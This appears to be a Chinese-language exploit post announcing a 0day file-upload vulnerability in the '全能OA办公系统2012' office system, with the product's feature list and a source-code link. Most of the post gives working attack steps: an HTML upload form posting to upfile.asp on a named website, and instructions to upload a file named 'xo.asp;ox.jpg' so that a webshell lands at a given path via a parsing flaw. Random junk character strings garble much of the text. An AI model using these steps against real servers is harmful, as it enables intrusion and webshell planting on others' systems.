全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：

# h( `7 D7 ?; O. S# x全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
0 G) p3 d: b  }2 X4 \, K
2 p# M1 ]% g0 l  F; A主要功能：
# o+ t' N4 l4 C0 E; X( N% ~5 p- i公司通告
工作计划
通讯助理
客户资源
  U6 K$ _+ w; I9 \/ R! s+ `* I我的公文
& X* l2 Q- R  s5 R3 L8 c" A; }公文传阅
公共资源
5 ~5 p2 x' q5 [" y7 @资源预约
今日考勤
个人计划
3 g2 J7 D- d; K个人通讯录
/ A& p! X2 z& H) S2 l3 I0 {: M个人基本档案
( h7 R1 Q* y* |3 y' h8 F未读邮件
, {5 ^' v/ H4 Q3 E. E发邮件
! W; B: b) F: r2 h1 ^+ J$ Q1 r3 w: y收件夹
8 o' k* _& ]* p* W5 d寄件夹
3 j+ K, D* `4 }* h; \# S网络硬盘
" b  v! f8 l" _网络会议
网络调查
交流论坛

2 y# A# Q$ N0 t+ f- ~有兴趣测试的朋友可以下源码看看

源码下载：
5 }. a! s& v( I. f& |: i  b( M  N
http://www.mycodes.net/30/4750.htm

漏洞介绍：

/ c" g: i7 ?. f' h7 P1 B由upfile.asp上传文件漏洞引起

4 T. y6 i! y0 R2 U0 A! X测试方法：

1 Q$ G; D" i4 o- n使用名小子上传http://www.itlynn.com/upfile.asp即可
: [  W. l; ~# O* a7 i
1 o( h& N2 r) i. }0 q/ v如果upfile.asp文件被删除不存在。

' d2 p" L1 t$ B: ?  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

如果存在那么将如下代码保存为upfile.html。

2 T9 n' V; p2 n) K然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。

8 b  C- |9 ~% b( B

  Q7 x; j7 q' i& G6 ~6 V01 <table border='0' align="center" cellpadding="5">
; h" K7 g1 k( y6 ^6 b% B
! f; m' s/ u3 }' y# \1 H# i02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>

7 C9 o7 [# y1 {9 |" d" {0 e' \$ X6 N04             <td>报错：</td>
; S) N3 d- [, W6 \" J
( `9 g  Q0 e& ~, G& Y) A1 b1 S05             <td><input type='radio' name='errnumber' value='0'>
: S5 N9 H/ N4 c( V
06               自动更名
' W4 @5 i/ Y" i6 x6 ]1 Z6 W
) J+ {" z7 r1 s8 B07               <input type='radio' name='errnumber' value='1' checked>
- Y  P. ]) Z, N+ ?$ Y8 x4 Y5 G
08               报错方式
; A' a7 {1 d& B6 e. |$ }) C
09               <input type='radio' name='errnumber' value='2'>
3 |8 T* o. ^, a, H' K- i
10               直接覆盖</td>
$ G2 w+ e" v: Q; C3 k, Y& R
6 I" m  _3 m7 R" G0 G8 W, R11           </tr>
( {" Z  k: _( j, E1 ^$ K% T( ?
12           <tr>
: J; k  x+ S9 x& Y! I
3 @4 }% {- t, Q0 o% J% x13             <td>主题：</td>

* s* Q5 ^" h. |$ f' K5 @7 W14             <td><input type='text' name='filename' size='30'></td>

6 R3 W" t! _5 j& n- O  e15           </tr>
5 `- F. y) ?6 i: Z" C* [
( [9 c  \: ~! C! {" N, u  C16           <tr>

! _" t5 m0 K' I17             <td>文件：</td>
/ C" ?" c, ~, j/ F
) S( _- H6 b7 O4 i5 B18             <td><input type="file"name="fruit"size="30"></td>
( s% a1 _- q1 x7 u% }/ u
19           </tr>
2 R, y* x2 W4 M) x
7 V: l. t3 w0 V' M* H$ I20           <tr>

$ n& m* B/ |( i9 i3 \21             <td valign='top'>简介：</td>
! M* M0 i5 Z; p" Z
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

23           </tr>

24   

* B; v6 z% @  _25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>

26           </tr>

" h4 O" m% G) x4 B: M4 Z27         </form>
  v* t4 l6 x( g  \  j# U$ j
  h' ~4 O+ k9 O) W2 I& c* S然后打开上传一个文件名为xo.asp;ox.jpg的文件。
& k3 ^% m, A0 z2 t

* ~5 X/ ~" W  U( U5 P
上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
6 u. q: o+ E" r5 c' j7 \& X! C
  x; c4 Z& E3 Z- P4 `此漏洞需要配合解析漏洞利用。

2 W8 i* a* g- G' B) Z8 K